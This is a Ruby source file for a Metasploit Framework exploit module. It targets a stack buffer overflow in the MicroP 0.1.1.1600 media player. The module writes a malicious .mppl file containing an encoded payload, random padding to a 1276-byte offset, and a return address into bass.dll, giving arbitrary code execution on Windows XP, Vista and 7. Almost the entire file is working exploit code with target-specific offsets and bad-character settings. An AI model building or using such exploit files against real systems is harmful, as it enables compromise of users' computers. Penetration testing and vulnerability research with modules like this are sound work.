78 lines
1.9 KiB
Ruby
78 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'MicroP 0.1.1.1600 (MPPL File) Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability found in MicroP 0.1.1.1600. A stack-based
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buffer overflow occurs when the content of a .mppl file gets copied onto the stack,
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which overwrites the lpFileName parameter of a CreateFileA() function, and results
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arbitrary code execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'James Fitts' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '73627'],
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[ 'URL', 'http://www.exploit-db.com/exploits/14720' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 728,
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'BadChars' => "\x00\x0a\x0d",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP3 / Vista / 7',
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{
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'Ret' => 0x100145b5, #jmp eax in bass.dll
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'Offset' => 1276, #Offset to overwrite EIP
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 23 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.mppl']),
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], self.class)
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end
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def exploit
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mppl = payload.encoded
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mppl << rand_text_alpha(target['Offset'] - payload.encoded.length)
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mppl << [target.ret].pack('V')
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(mppl)
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end
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end
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